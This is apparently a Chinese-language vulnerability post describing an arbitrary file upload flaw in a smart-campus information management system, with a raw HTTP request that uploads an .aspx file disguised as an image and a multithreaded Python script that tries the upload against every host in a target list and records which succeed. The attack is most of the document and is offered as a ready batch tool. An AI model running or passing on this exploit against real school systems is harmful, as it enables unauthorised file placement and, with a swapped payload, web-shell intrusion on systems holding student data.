智慧校园信息管理系统存在任意文件上传漏洞 附批量检测脚本

POST /PSE/Upload HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36Content-Type: multipart/form-data; boundary=00content0boundary00Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 147Connection: close--00content0boundary00Content-Disposition: form-data; name="file"; filename="test.aspx"Content-Type: image/jpg123--00content0boundary00--

import requestsimport threadingdef run_poc(url):    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",        "Content-Type": "multipart/form-data; boundary=00content0boundary00",        "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",        "Connection": "close"    }    # 构建multipart/form-data    data = (        "--00content0boundary00rn"        'Content-Disposition: form-data; name="file"; filename="test.aspx"rn'        "Content-Type: image/jpgrnrn"        "123rn"        "--00content0boundary00--rn"    )    response = requests.post(url + '/PSE/Upload', headers=headers, data=data, verify=False).json()    try:        if response['Success']:            open('success.txt', 'a+').write(url + '/Upload/PrimarySchoolEnrollment/' + response['SaveName'] + 'n')    except:        pass# url.txt内放目标  一行一个   不加协议默认http  上传成功自动存到success.txt内for url in open('urls.txt', 'r'):    url = url.replace('n', '')    if url.find('http://') == -1 and url.find('https://') == -1: url = 'http://' + url    threading.Thread(target=run_poc, args=[url, ]).start()    # Run_Poc(url)